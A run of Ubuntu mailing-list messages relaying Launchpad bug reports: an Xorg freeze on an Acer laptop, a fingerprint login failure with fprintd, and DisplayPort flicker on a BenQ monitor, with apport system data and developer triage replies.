On 12/04/2021 10:57, Daniel van Vugt wrote: > Also, all of the above crashes are from a desktop, whereas this bug > report is from an Acer laptop. Which machine do you want this bug to be > about? The bug is about my new Acer laptop. The disk content was copied from an old desktop. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923397/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923418] [NEW] Fingerprint identification not working when system is idle without screen going blank
Public bug reported: Issue: Fingerprint identification not working when system is idle without screen going blank Setup System prerequisite: FP enrolled on system, Identify works fine. OS: Verified on: 20.04 PPA release. Steps to reproduce: • Now lock the user again. Select the User. • Leave the laptop idle for 30sec, swipe mouse across and don’t allow the system to go for sleep for 30 seconds. Place the enrolled FP on reader post 30 seconds. • Observe that FP doesn't get detected at login screen. • Need to enter password to login into user account. • Note: "Swipe finger" option at login screen is still shown even if FP doesn't get detected Attached the fprintd debug log. Events actions are mentioned with this symbol <==> at attached output. <==> Some timeout is observed and after this Host is releasing the device and Identification is working only after hitting Enter key to start identification process, timeout is not generated from FW and FW is ready to accept the finger swipe. --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 20.04 InstallationDate: Installed on 2020-09-24 (200 days ago) InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) Package: fprintd 1.90.9-1~ubuntu20.04.1 [origin: LP-PPA-ci-train-ppa-service-4509.1] PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 5.8.0-44.50~20.04.1-generic 5.8.18 Tags: third-party-packages focal Uname: Linux 5.8.0-44-generic x86_64 UnreportableReason: This is not an official Ubuntu package. Please remove any third party package and try again. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo _MarkForUpload: True ** Affects: fprintd (Ubuntu) Importance: Undecided Status: New ** Tags: apport-collected focal third-party-packages ** Attachment added: "CS_5266.txt" https://bugs.launchpad.net/bugs/1923418/+attachment/5486817/+files/CS_5266.txt ** Tags added: apport-collected focal third-party-packages ** Description changed: Issue: Fingerprint identification not working when system is idle without screen going blank Setup System prerequisite: FP enrolled on system, Identify works fine. OS: Verified on: 20.04 PPA release. Steps to reproduce: • Now lock the user again. Select the User. • Leave the laptop idle for 30sec, swipe mouse across and don’t allow the system to go for sleep for 30 seconds. Place the enrolled FP on reader post 30 seconds. • Observe that FP doesn't get detected at login screen. • Need to enter password to login into user account. • Note: "Swipe finger" option at login screen is still shown even if FP doesn't get detected Attached the fprintd debug log. Events actions are mentioned with this symbol <==> at attached output. - <==> Some timeout is observed and after this Host is releasing the - device and Identification is working only after hitting Enter key to - start identification process, timeout is not generated from FW and FW is - ready to accept the finger swipe. + <==> Some timeout is observed and after this Host is releasing the device and Identification is working only after hitting Enter key to start identification process, timeout is not generated from FW and FW is ready to accept the finger swipe. + --- + ProblemType: Bug + ApportVersion: 2.20.11-0ubuntu27.16 + Architecture: amd64 + CasperMD5CheckResult: skip + CurrentDesktop: ubuntu:GNOME + DistroRelease: Ubuntu 20.04 + InstallationDate: Installed on 2020-09-24 (200 days ago) + InstallationMedia: Ubuntu 20.04.1 LTS "Focal Fossa" - Release amd64 (20200731) + Package: fprintd 1.90.9-1~ubuntu20.04.1 [origin: LP-PPA-ci-train-ppa-service-4509.1] + PackageArchitecture: amd64 + ProcVersionSignature: Ubuntu 5.8.0-44.50~20.04.1-generic 5.8.18 + Tags: third-party-packages focal + Uname: Linux 5.8.0-44-generic x86_64 + UnreportableReason: This is not an official Ubuntu package. Please remove any third party package and try again. + UpgradeStatus: No upgrade log present (probably fresh install) + UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo + _MarkForUpload: True -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to fprintd in Ubuntu. https://bugs.launchpad.net/bugs/1923418 Title: Fingerprint identification not working when system is idle without screen going blank Status in fprintd package in Ubuntu: New Bug description: Issue: Fingerprint identification not working when system is idle without screen going blank Setup System prerequisite: FP enrolled on system, Identify works fine. OS: Verified on: 20.04 PPA release. Steps to reproduce: • Now lock the user again. Select the User. • Leave the laptop idle for 30sec, swipe mouse across and don’t
[Desktop-packages] [Bug 1923397] Re: Xorg freeze
Also, all of the above crashes are from a desktop, whereas this bug report is from an Acer laptop. Which machine do you want this bug to be about? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923397/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923397] Re: Xorg freeze
https://errors.ubuntu.com/oops/34abb3af-6156-11eb-8e20-fa163e6cac46 That is either bug 1897765 or bug 1897832. --- https://errors.ubuntu.com/oops/399bd8fc-d4f8-11ea-ae34-fa163ee63de6 https://errors.ubuntu.com/oops/12279266-8822-11ea-a31f-fa163e6cac46 https://errors.ubuntu.com/oops/204fea4d-e344-11e9-a6a3-fa163e6cac46 Not enough information in those crash reports :( --- https://errors.ubuntu.com/oops/348838a4-fc1f-11e9-b630-fa163e102db1 https://errors.ubuntu.com/oops/09574842-72fd-11e9-a6fc-fa163e102db1 Those are the 'nouveau' driver crashing. If you have any machine with an Nvidia GPU then please use the 'Additional Drivers' app to install the official Nvidia driver instead. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/1923397/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help :
Re: [Desktop-packages] [Bug 1923397] Re: Xorg freeze
On 12/04/2021 9:38, Daniel van Vugt wrote: > Thank you for taking the time to report this bug and helping to make > Ubuntu better. It sounds like some part of the system has crashed. To > help us find the cause of the crash please follow these steps: > > 1. Look in /var/crash for crash files and if found run: > ubuntu-bug YOURFILE.crash > Then tell us the ID of the newly-created bug. There are no relevant /var/crash/*.crash files. > 2. If step 1 failed then look at https://errors.ubuntu.com/user/ID where > ID is the content of file /var/lib/whoopsie/whoopsie-id on the machine. > Do you find any links to recent problems on that page? If so then please > send the links to us. Probably this: https://errors.ubuntu.com/oops/34abb3af-6156-11eb-8e20-fa163e6cac46 https://errors.ubuntu.com/oops/399bd8fc-d4f8-11ea-ae34-fa163ee63de6 https://errors.ubuntu.com/oops/12279266-8822-11ea-a31f-fa163e6cac46 https://errors.ubuntu.com/oops/348838a4-fc1f-11e9-b630-fa163e102db1 https://errors.ubuntu.com/oops/204fea4d-e344-11e9-a6a3-fa163e6cac46 https://errors.ubuntu.com/oops/09574842-72fd-11e9-a6fc-fa163e102db1 > 3. If step 2 also failed then apply the workaround from bug 994921, > reboot, reproduce the crash, and retry step 1. I don't know how to find this 994921. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: skip CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 07:37:00 2021 DistUpgraded: Fresh install DistroCodename: groovy DistroVariant: ubuntu DkmsStatus: virtualbox, 6.1.16, 5.8.0-45-generic, x86_64: installed virtualbox, 6.1.16, 5.8.0-48-generic, x86_64: installed ExtraDebuggingInterest: Yes GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Today GraphicsCard: Intel Corporation UHD Graphics [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Acer Incorporated [ALI] UHD Graphics [1025:1415] InstallationDate: Installed on 2018-06-23 (1023 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller Bus 001 Device 002: ID 04f2:b64f Chicony Electronics Co., Ltd HD User Facing Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Lsusb-t: /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 1M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 5: Dev 2, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 2, If 1, Class=Video, Driver=uvcvideo, 480M |__ Port 6: Dev 3, If 0, Class=Vendor Specific Class, Driver=rtsx_usb, 480M MachineType: Acer TravelMate P215-52 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.8.0-48-generic root=UUID=521f8f0f-da76-44d7-8d98-2b45259ff93c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) XorgLog: dmi.bios.date: 07/29/2020 dmi.bios.release: 1.20 dmi.bios.vendor: Insyde Corp. dmi.bios.version: V1.20 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: BassDrum_CM dmi.board.vendor: CML dmi.board.version: V1.20 dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 1.12 dmi.modalias: dmi:bvnInsydeCorp.:bvrV1.20:bd07/29/2020:br1.20:efr1.12:svnAcer:pnTravelMateP215-52:pvrV1.20:rvnCML:rnBassDrum_CM:rvrV1.20:cvnChassisManufacturer:ct10:cvrChassisVersion: dmi.product.family: TravelMate P2 dmi.product.name: TravelMate P215-52 dmi.product.sku: dmi.product.version: V1.20 dmi.sys.vendor: Acer version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 20.2.6-0ubuntu0.20.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.1 version.xserver-xorg-input-evdev:
[Desktop-packages] [Bug 1923167] Re: Screen flickering- QHD Benq
Please try a different cable. If that doesn't solve the problem then please run these commands: lspci -kv > lspci.txt journalctl -b0 > journal.txt xrandr --verbose > xrandr.txt and attach the resulting text files here. ** Package changed: xorg (Ubuntu) => xserver-xorg-video-amdgpu (Ubuntu) ** Changed in: xserver-xorg-video-amdgpu (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-amdgpu in Ubuntu. https://bugs.launchpad.net/bugs/1923167 Title: Screen flickering- QHD Benq Status in xserver-xorg-video-amdgpu package in Ubuntu: Incomplete Bug description: The Display continuously flickers when we are using the Displayport connection with QHD (2560x1440) Benq-Monitors. The affected Hardware is: Igel UD3-LX 60 (AMD Ryzen Embedded R1505G with Radeon Vega Gfx) Using a DP to HDMI-Adapter solves the problem with the given resolution. This error occurs in both Ubuntu Releases 18.04 and 20.10. This is what we see in the Logs: [27.144] (II) AMDGPU(0): EDID vendor "BNQ", prod id 32795 [27.144] (II) AMDGPU(0): Using hsync ranges from config file [27.144] (II) AMDGPU(0): Using vrefresh ranges from config file [27.144] (II) AMDGPU(0): Printing DDC gathered Modelines: [27.144] (II) AMDGPU(0): Modeline "2560x1440"x0.0 241.50 2560 2608 2640 2720 1440 1443 1448 1481 +hsync -vsync (88.8 kHz eP) [27.144] (II) AMDGPU(0): Modeline "720x480"x0.0 27.00 720 736 798 858 480 489 495 525 -hsync -vsync (31.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x720"x0.0 74.25 1280 1390 1430 1650 720 725 730 750 +hsync +vsync (45.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x720"x0.0 74.25 1280 1720 1760 1980 720 725 730 750 +hsync +vsync (37.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "720x576"x0.0 27.00 720 732 796 864 576 581 586 625 -hsync -vsync (31.2 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080"x0.0 148.50 1920 2008 2052 2200 1080 1084 1089 1125 +hsync +vsync (67.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080"x0.0 148.50 1920 2448 2492 2640 1080 1084 1089 1125 +hsync +vsync (56.2 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080i"x0.0 74.25 1920 2008 2052 2200 1080 1084 1094 1125 interlace +hsync +vsync (33.8 kHz e) [27.144] (II) AMDGPU(0): Modeline "1920x1080i"x0.0 74.25 1920 2448 2492 2640 1080 1084 1094 1125 interlace +hsync +vsync (28.1 kHz e) [27.144] (II) AMDGPU(0): Modeline "640x480"x0.0 25.18 640 656 752 800 480 490 492 525 -hsync -vsync (31.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1440x480i"x0.0 27.00 1440 1478 1602 1716 480 488 494 525 interlace -hsync -vsync (15.7 kHz e) [27.144] (II) AMDGPU(0): Modeline "1440x576i"x0.0 27.00 1440 1464 1590 1728 576 580 586 625 interlace -hsync -vsync (15.6 kHz e) [27.144] (II) AMDGPU(0): Modeline "800x600"x0.0 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (37.9 kHz e) [27.144] (II) AMDGPU(0): Modeline "640x480"x0.0 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (37.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "720x400"x0.0 28.32 720 738 846 900 400 412 414 449 -hsync +vsync (31.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x1024"x0.0 135.00 1280 1296 1440 1688 1024 1025 1028 1066 +hsync +vsync (80.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1024x768"x0.0 78.75 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (60.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1024x768"x0.0 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (48.4 kHz e) [27.144] (II) AMDGPU(0): Modeline "832x624"x0.0 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (49.7 kHz e) [27.144] (II) AMDGPU(0): Modeline "800x600"x0.0 49.50 800 816 896 1056 600 601 604 625 +hsync +vsync (46.9 kHz e) [27.144] (II) AMDGPU(0): Modeline "1152x864"x0.0 108.00 1152 1216 1344 1600 864 865 868 900 +hsync +vsync (67.5 kHz e) [27.144] (II) AMDGPU(0): Modeline "1680x1050"x0.0 119.00 1680 1728 1760 1840 1050 1053 1059 1080 +hsync -vsync (64.7 kHz e) [27.144] (II) AMDGPU(0): Modeline "1600x900"x60.0 119.00 1600 1696 1864 2128 900 901 904 932 -hsync +vsync (55.9 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x1024"x0.0 108.00 1280 1328 1440 1688 1024 1025 1028 1066 +hsync +vsync (64.0 kHz e) [27.144] (II) AMDGPU(0): Modeline "1280x800"x0.0 71.00 1280 1328 1360 1440 800 803 809 823 +hsync -vsync (49.3 kHz e) [30.040] (DB) IGEL-SCREEN-LOCK: Window [layer=1] locked [33.163] (DB) IGEL-SCREEN-LOCK: Window [layer=1] destroyed To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-amdgpu/+bug/1923167/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to :
[Desktop-packages] [Bug 1923397] Re: Xorg freeze
Thank you for taking the time to report this bug and helping to make Ubuntu better. It sounds like some part of the system has crashed. To help us find the cause of the crash please follow these steps: 1. Look in /var/crash for crash files and if found run: ubuntu-bug YOURFILE.crash Then tell us the ID of the newly-created bug. 2. If step 1 failed then look at https://errors.ubuntu.com/user/ID where ID is the content of file /var/lib/whoopsie/whoopsie-id on the machine. Do you find any links to recent problems on that page? If so then please send the links to us. 3. If step 2 also failed then apply the workaround from bug 994921, reboot, reproduce the crash, and retry step 1. Please take care to avoid attaching .crash files to bugs as we are unable to process them as file attachments. It would also be a security risk for yourself. ** Package changed: xorg (Ubuntu) => xorg-server (Ubuntu) ** Changed in: xorg-server (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg-server in Ubuntu. https://bugs.launchpad.net/bugs/1923397 Title: Xorg freeze Status in xorg-server package in Ubuntu: Incomplete Bug description: When I login into Gnome or Plasma, the screen is soon freezed (it seems that Linux keeps doing something, however). Gnome Wayland is not affected. This is after I moved my system to a new computer. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: xorg 1:7.7+19ubuntu15 ProcVersionSignature: Ubuntu 5.8.0-48.54-generic 5.8.18 Uname: Linux 5.8.0-48-generic x86_64 ApportVersion: 2.20.11-0ubuntu50.5 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' 